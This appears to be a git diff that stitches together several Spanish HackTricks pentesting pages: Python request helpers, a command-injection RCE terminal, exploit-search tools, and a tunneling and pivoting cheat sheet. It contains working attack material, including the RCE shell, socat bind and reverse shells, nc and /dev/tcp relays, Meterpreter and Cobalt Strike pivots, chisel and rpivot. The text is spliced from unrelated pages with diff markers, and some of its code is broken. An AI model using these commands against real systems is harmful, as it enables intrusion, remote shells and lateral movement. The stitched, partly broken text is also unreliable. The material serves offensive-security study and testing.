||||
# Solicitudes web
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Solicitudes de Python
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = "http://example.com:80/some/path.php"
|
||||
params = {"p1":"value1", "p2":"value2"}
|
||||
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
|
||||
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
|
||||
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
|
||||
|
||||
#Regular Get requests sending parameters (params)
|
||||
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
|
||||
|
||||
code = gr.status_code
|
||||
ret_headers = gr.headers
|
||||
body_byte = gr.content
|
||||
body_text = gr.text
|
||||
ret_cookies = gr.cookies
|
||||
is_redirect = gr.is_redirect
|
||||
is_permanent_redirect = gr.is_permanent_redirect
|
||||
float_seconds = gr.elapsed.total_seconds() 10.231
|
||||
|
||||
#Regular Post requests sending parameters (data)
|
||||
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||||
|
||||
#Json Post requests sending parameters(json)
|
||||
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||||
|
||||
#Post request sending a file(files) and extra values
|
||||
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
|
||||
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
|
||||
|
||||
#Useful for presenting results in boolean/time based injections
|
||||
print(f"\rflag: {flag}{char}", end="")
|
||||
|
||||
|
||||
|
||||
|
||||
##### Example Functions
|
||||
target = "http://10.10.10.10:8000"
|
||||
proxies = {}
|
||||
s = requests.Session()
|
||||
|
||||
def register(username, password):
|
||||
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
|
||||
def login(username, password):
|
||||
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
|
||||
def get_info(name):
|
||||
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
|
||||
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
|
||||
return guid
|
||||
|
||||
def upload(guid, filename, data):
|
||||
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
|
||||
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
|
||||
return guid
|
||||
|
||||
def json_search(guid, search_string):
|
||||
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
|
||||
return resp.json()
|
||||
|
||||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Comando de Python para explotar una RCE
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
from cmd import Cmd
|
||||
|
||||
class Terminal(Cmd):
|
||||
prompt = "Inject => "
|
||||
|
||||
def default(self, args):
|
||||
output = RunCmd(args)
|
||||
print(output)
|
||||
|
||||
def RunCmd(cmd):
|
||||
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
|
||||
r = requests.post('http://10.10.10.127/select', data=data)
|
||||
page = r.text
|
||||
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
|
||||
if m:
|
||||
return m.group(1)
|
||||
else:
|
||||
return 1
|
||||
|
||||
|
||||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
@ -1,9 +1,9 @@
|
||||
# venv
|
||||
# Buscar Exploits
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
@ -13,46 +13,67 @@ Obtenga acceso hoy mismo:
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
```bash
|
||||
sudo apt-get install python3-venv
|
||||
#Now, go to the folder you want to create the virtual environment
|
||||
python3 -m venv <Dirname>
|
||||
python3 -m venv pvenv #In this case the folder "pvenv" is going to be created
|
||||
source <Dirname>/bin/activate
|
||||
source pvenv/bin/activate #Activate the environment
|
||||
#You can now install whatever python library you need
|
||||
deactivate #To deactivate the virtual environment
|
||||
```
|
||||
|
||||
### Navegador
|
||||
|
||||
Siempre busque en "google" u otros: **\<nombre\_del\_servicio> \[versión] exploit**
|
||||
|
||||
También debe probar la **búsqueda de exploits de shodan** desde [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Útil para buscar exploits para servicios en **exploitdb desde la consola**.
|
||||
```bash
|
||||
The error
|
||||
error: invalid command 'bdist_wheel'
|
||||
is fixed running
|
||||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
searchsploit apache mod_ssl #Other example
|
||||
searchsploit -m 7618 #Paste the exploit in current directory
|
||||
searchsploit -p 7618[.c] #Show complete path
|
||||
searchsploit -x 7618[.c] #Open vi to inspect the exploit
|
||||
searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
||||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) es otra herramienta para buscar exploits.
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
msf> search platform:windows port:135 target:XP type:exploit
|
||||
```
|
||||
### PacketStorm
|
||||
|
||||
Si no se encuentra nada, intente buscar la tecnología utilizada dentro de [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
|
||||
### Vulners
|
||||
|
||||
También se puede buscar en la base de datos de Vulners: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
@ -0,0 +1,590 @@
|
||||
# Tunelización y Reenvío de Puertos
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Consejo de Nmap
|
||||
|
||||
{% hint style="warning" %}
|
||||
Los escaneos **ICMP** y **SYN** no se pueden tunelizar a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que funcione.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
||||
**Host -> Salto -> InternoA -> InternoB**
|
||||
```bash
|
||||
# On the jump server connect the port 3333 to the 5985
|
||||
mknod backpipe p;
|
||||
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
|
||||
|
||||
# On InternalA accessible from Jump and can access InternalB
|
||||
## Expose port 3333 and connect it to the winrm port of InternalB
|
||||
exec 3<>/dev/tcp/internalB/5985
|
||||
exec 4<>/dev/tcp/Jump/3333
|
||||
cat <&3 >&4 &
|
||||
cat <&4 >&3 &
|
||||
|
||||
# From the host, you can now access InternalB from the Jump server
|
||||
evil-winrm -u username -i Jump
|
||||
```
|
||||
## **SSH**
|
||||
|
||||
Conexión gráfica SSH (X)
|
||||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Puerto Local a Puerto Remoto
|
||||
|
||||
Abrir un nuevo puerto en el servidor SSH --> Otro puerto
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
### Puerto a Puerto
|
||||
|
||||
Puerto local --> Host comprometido (SSH) --> Tercer\_equipo:Puerto
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Puerto local --> Host comprometido (SSH) --> Donde sea
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Reenvío de puertos inverso
|
||||
|
||||
Esto es útil para obtener shells inversos desde hosts internos a través de una DMZ hacia su host:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
# Note that port 443 must be open
|
||||
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
|
||||
# and change the line "GatewayPorts no" to "GatewayPorts yes"
|
||||
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Necesitas **tener permisos de root en ambos dispositivos** (ya que vas a crear nuevas interfaces) y la configuración de sshd debe permitir el inicio de sesión como root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
ssh root@server -w any:any #This will create Tun interfaces in both devices
|
||||
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
|
||||
ifconfig tun0 up #Activate the client side network interface
|
||||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||
ifconfig tun0 up #Activate the server side network interface
|
||||
```
|
||||
Habilitar el reenvío en el lado del servidor
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
```
|
||||
Establecer una nueva ruta en el lado del cliente
|
||||
```
|
||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
## SSHUTTLE
|
||||
|
||||
Puedes **tunelizar** todo el **tráfico** hacia una **subred** a través de un host mediante **ssh**.\
|
||||
Por ejemplo, redirigiendo todo el tráfico que va hacia 10.10.10.0/24.
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
```
|
||||
# Conectar con una clave privada
|
||||
|
||||
En algunos casos, la conexión a un servidor remoto solo es posible mediante una clave privada. En estos casos, se puede utilizar la opción `-i` de `ssh` para especificar la ruta de la clave privada a utilizar.
|
||||
|
||||
```bash
|
||||
ssh -i /path/to/private/key user@host
|
||||
```
|
||||
|
||||
También se puede agregar la clave privada al agente SSH para evitar tener que especificar la ruta de la clave cada vez que se conecta al servidor.
|
||||
|
||||
```bash
|
||||
ssh-add /path/to/private/key
|
||||
ssh user@host
|
||||
```
|
||||
|
||||
Si se tiene una clave privada protegida por contraseña, se debe desbloquear antes de agregarla al agente SSH.
|
||||
|
||||
```bash
|
||||
ssh-add /path/to/unlocked/private/key
|
||||
```
|
||||
```bash
|
||||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
# -D : Daemon mode
|
||||
```
|
||||
## Meterpreter
|
||||
|
||||
### Port2Port
|
||||
|
||||
Puerto local --> Host comprometido (sesión activa) --> Tercer\_equipo:Puerto
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
```
|
||||
### SOCKS
|
||||
|
||||
SOCKS es un protocolo de red que permite a los usuarios de una red privada acceder a Internet a través de un servidor proxy. SOCKS se utiliza comúnmente para eludir las restricciones de red y para ocultar la dirección IP del usuario. SOCKS se puede utilizar para el tráfico de cualquier protocolo de red, incluidos HTTP, SMTP, POP3 y FTP.
|
||||
|
||||
Para usar SOCKS, se necesita un cliente SOCKS y un servidor SOCKS. El cliente SOCKS se ejecuta en la máquina del usuario y se configura para enviar todo el tráfico de red a través del servidor SOCKS. El servidor SOCKS se ejecuta en una máquina remota y actúa como intermediario entre el cliente SOCKS y el destino final de la conexión de red.
|
||||
|
||||
SOCKS es una buena opción para eludir las restricciones de red, ya que no está limitado a un protocolo de red específico y puede enrutar todo el tráfico de red a través del servidor SOCKS. Sin embargo, SOCKS no proporciona cifrado de extremo a extremo, lo que significa que el tráfico de red puede ser interceptado y leído por terceros.
|
||||
```bash
|
||||
background# meterpreter session
|
||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||
use auxiliary/server/socks_proxy
|
||||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
Otra forma:
|
||||
```bash
|
||||
background #meterpreter session
|
||||
use post/multi/manage/autoroute
|
||||
set SESSION <session_n>
|
||||
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
|
||||
set NETMASK <Netmask>
|
||||
run
|
||||
use auxiliary/server/socks_proxy
|
||||
set VERSION 4a
|
||||
run #Proxy port 1080 by default
|
||||
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
```
|
||||
## Cobalt Strike
|
||||
|
||||
### Proxy SOCKS
|
||||
|
||||
Abra un puerto en el servidor de equipo que escuche en todas las interfaces que se puedan usar para **enrutar el tráfico a través del beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
||||
# Set port 1080 as proxy server in proxychains.conf
|
||||
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
```
|
||||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
En este caso, el **puerto se abre en el host beacon**, no en el Servidor de Equipo y el tráfico se envía al Servidor de Equipo y desde allí al host:puerto indicado.
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
A tener en cuenta:
|
||||
|
||||
* El reenvío de puerto inverso de Beacon **siempre tuneliza el tráfico hacia el Servidor de Equipo** y el **Servidor de Equipo envía el tráfico a su destino previsto**, por lo que no debe usarse para relé de tráfico entre máquinas individuales.
|
||||
* El **tráfico se tuneliza dentro del tráfico C2 de Beacon**, no sobre sockets separados, y también funciona sobre enlaces P2P.
|
||||
* **No es necesario ser un administrador local** para crear reenvíos de puerto inversos en puertos altos.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
En este caso, el **puerto se abre en el host de Beacon**, no en el Servidor de Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor de Equipo) y desde allí al host:puerto indicado.
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
```
|
||||
## reGeorg
|
||||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Necesitas subir un túnel de archivo web: ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
## Chisel
|
||||
|
||||
Puedes descargarlo desde la página de lanzamientos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||
Necesitas usar la **misma versión para el cliente y el servidor**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
./chisel server -p 8080 --reverse #Server -- Attacker
|
||||
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
|
||||
#And now you can use proxychains with port 1080 (default)
|
||||
|
||||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||||
```
|
||||
### Reenvío de puertos
|
||||
```bash
|
||||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||
```
|
||||
## Rpivot
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Túnel inverso. El túnel se inicia desde la víctima.\
|
||||
Se crea un proxy socks4 en 127.0.0.1:1080.
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
Pivotar a través de un proxy **NTLM**
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
|
||||
```
|
||||
## **Socat**
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Shell de enlace
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
```
|
||||
### Shell inversa
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Port2Port es una técnica de reenvío de puertos que permite redirigir el tráfico de un puerto local a un puerto remoto a través de una conexión SSH. Esto es útil cuando se necesita acceder a un servicio que se ejecuta en un servidor remoto al que no se puede acceder directamente desde el equipo local.
|
||||
|
||||
Para utilizar Port2Port, se debe establecer una conexión SSH con el servidor remoto y especificar el puerto local y el puerto remoto que se desea redirigir. Una vez establecida la conexión, todo el tráfico que llegue al puerto local será redirigido al puerto remoto a través de la conexión SSH.
|
||||
|
||||
